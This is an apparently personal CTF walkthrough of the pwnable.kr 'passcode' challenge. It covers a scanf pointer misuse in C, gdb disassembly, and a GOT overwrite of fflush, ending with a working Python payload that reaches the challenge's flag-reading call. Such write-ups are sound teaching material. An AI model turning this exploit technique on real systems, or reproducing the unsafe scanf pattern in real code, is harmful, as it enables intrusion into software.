Pwnable.kr: ‘passcode’ Walkthrough

We’re back once again with another installment of Pwnable.kr’s CTF series.  This one is the fifth post from the “Toddler’s Bottle” series, entitled “passcode.”

Our hint:

Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

The obvious choice

If we look at the contents of passcode.c using cat, we get:

passcode@ubuntu:~$ cat passcode.c
#include
#include

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
        printf("Login OK!\n");
        system("/bin/cat flag");
    }
    else{
        printf("Login Failed!\n");
        exit(0);
    }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}

So, we’re asked for our name, then we have to provide two passcodes, which are checked against hardcoded values (338150 and 13371337), and then we’re logged in.

If we try the obvious approach, and enter in 338150 as an integer:

passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : jaime
Welcome jaime!
enter passcode1 : 338150
Segmentation fault

Oop.  We get a seg fault.

What if we enter it in as a string?

passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : jaime
Welcome jaime!
enter passcode1 : "338150"
enter passcode2 : checking...
Login Failed!

It continues on without letting me enter in the second passcode.  Why?

I made a copy of the C file, modified it to remove the fflush call and ran it again.  But the same thing happened, so it isn’t fflush.  So what’s the cause?

Just a compiler warning…

If try to compile passcode.c:

$ ssh passcode@pwnable.kr -p2222
$ gcc passcode.c [doesn't matter what we put for an output file, as we don't have permission to do so]

We get a couple of compiler warnings:

passcode@ubuntu:~$ gcc passcode.c
passcode.c: In function ‘login’:
passcode.c:9:8: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
    scanf("%d", passcode1);
    ^
passcode.c:14:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
    scanf("%d", passcode2);
    ^

The two offending lines are in the login() function. Instead of providing the address of passcode1 and passcode2 for the scanf function to write a result to, we’re passing the value.

If I make a local copy of the program and change both scanf calls to take pointers to a value instead of the value itself, and the program works as originally intended, and I can enter in both values.

But, maybe we can use the scanf issues to our advantage.  Just to reiterate, if we wrote this C code the right way, whatever we typed in as our answer to the passcode1 question would be written into memory at the location of variable passcode1.   But instead, because it wasn’t written correctly, it’s writing our input to the value of passcode1 interpreted as an address.

So if we can put our own address into memory ahead of time, and then input a value for passcode1, we can write whatever we want, wherever we want in memory.

Control-F scanf()

If you search for other scanf calls, you’ll notice that there’s one in welcome():

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

You might have noticed that welcome()‘s use of scanf _doesn’t _generate a compiler warning.  The length of the input is limited to 100 chars, but maybe we can get somewhere with that?

scanf("%100s", name);

We’re going to need to find name, and its location.  Then, if we can find something we want to overwrite, we can see if its within our allotted 100 chars of distance.

All the disassembly!

Here’s the disassembly for welcome():

(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
   0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.

Here, we’re moving the value from edx (the data register, which handles inputs and outputs, among other things) into $ebp-0x70.  That’s probably our name valuable.

0x0804862f <+38>: lea -0x70(%ebp),%edx

Let’s test out our theory:

(gdb) break *0x08048643
Breakpoint 1 at 0x8048643
(gdb) run
Starting program: /home/passcode/passcode
Toddler's Secure Login System 1.0 beta.
enter you name : jaime

Breakpoint 1, 0x08048643 in welcome ()
(gdb) x/1s $edp-0x70
Argument to arithmetic operation not a number or boolean.
(gdb) x/1s $ebp-0x70
0xff9ad218:	"jaime"

Yep.  Okay, let’s go find passcode1.

disas login

If we disassemble the login function, we get:

(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   %ebp
   0x08048565 <+1>:	mov    %esp,%ebp
   0x08048567 <+3>:	sub    $0x28,%esp
   0x0804856a <+6>:	mov    $0x8048770,%eax
   0x0804856f <+11>:	mov    %eax,(%esp)
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    $0x8048783,%eax
   0x0804857c <+24>:	mov    -0x10(%ebp),%edx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    0x804a02c,%eax
   0x08048590 <+44>:	mov    %eax,(%esp)
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    $0x8048786,%eax
   0x0804859d <+57>:	mov    %eax,(%esp)
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    $0x8048783,%eax
   0x080485aa <+70>:	mov    -0xc(%ebp),%edx
   0x080485ad <+73>:	mov    %edx,0x4(%esp)
   0x080485b1 <+77>:	mov    %eax,(%esp)
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:	movl   $0x8048799,(%esp)
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	movl   $0x80487a5,(%esp)
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	movl   $0x80487af,(%esp)
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	movl   $0x80487bd,(%esp)
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	movl   $0x0,(%esp)
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.

Here, we’ve got a few more lines of assembly representing the scanf results being moved from the EDX data register elsewhere into memory:

0x0804857c <+24>: mov -0x10(%ebp),%edx
[...]
0x080485aa <+70>: mov -0xc(%ebp),%edx

The assembly instructions here are mov instead of lea, which further demonstrates the difference between welcome()'s correctly written scanf() call and login()'s incorrectly written calls.

It looks like $ebp-0x10 might be the location of passcode1.  Because $ebp-0x70 and $ebp-0x10 are less than 100 chars away from one another (0x60 -> 96 in decimal), we can overwrite the initial value of passcode1.  We’ll put an address here.  Then, our answer to passcode1 will be written to the overwritten address location.

So, where do we want to overwrite, and what do we want to say?  Maybe we can use that fflush call that happens after the first scanf.  But how do we find its address?

GOT

Different GoT… General Offset Table.  The Global Offset Table, according to Wikipedia, “is a table of addresses stored in the data section. It is used by executed programs to find during runtime addresses of global variables, unknown in compile time.”

If we disassemble fflush, we can grab its address from the first jmp function.  (We could also have `readelf -a passcode”

(gdb) disas fflush
Dump of assembler code for function fflush@plt:
   0x08048430 <+0>:	jmp    *0x804a004
   0x08048436 <+6>:	push   $0x8
   0x0804843b <+11>:	jmp    0x8048410

The answer to “where we want to overwrite” is “*0x804a004”, the address of fflush.

What exactly are we doing here?  Remember that we wanted to overwrite the value of passcode1, because the compiler will (wrongly) interpret that value as an address, so our user input will be written to that value-as-an-address.

0x804a004 is the start of the set of instructions to be executed (collectively, they’re fflush).  When our code gets to the fflush line, it’ll start executing those instructions… orrrr, it’ll execute the instruction that we move to that location.

We’re going to use the poorly written scanf function to sneak in our own instruction on top of the scanf instructions.  We will do this by overwriting passcode1 with the address that we want to write to, then we’ll pass scanf the location of the instruction we want to execute.

And since this is capture the flag, let’s pass it the “read from the flag file” instruction in the login function.

system("/bin/cat flag");

I originally guessed that this was here:

0x080485ea <+134>: call 0x8048460 <system@plt>

So, as the input of my program I did:

Which looked like:

$ python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '\xea\x85\x04\x08'" | ./passcode

But, I was wrong with the last address.  I should have used the address in this line:

0x080485e3 <+127>: movl $0x80487af,(%esp)

And, I should have written it as decimal.  Sooo:

passcode@ubuntu:~$ python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome !
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

And there we have it!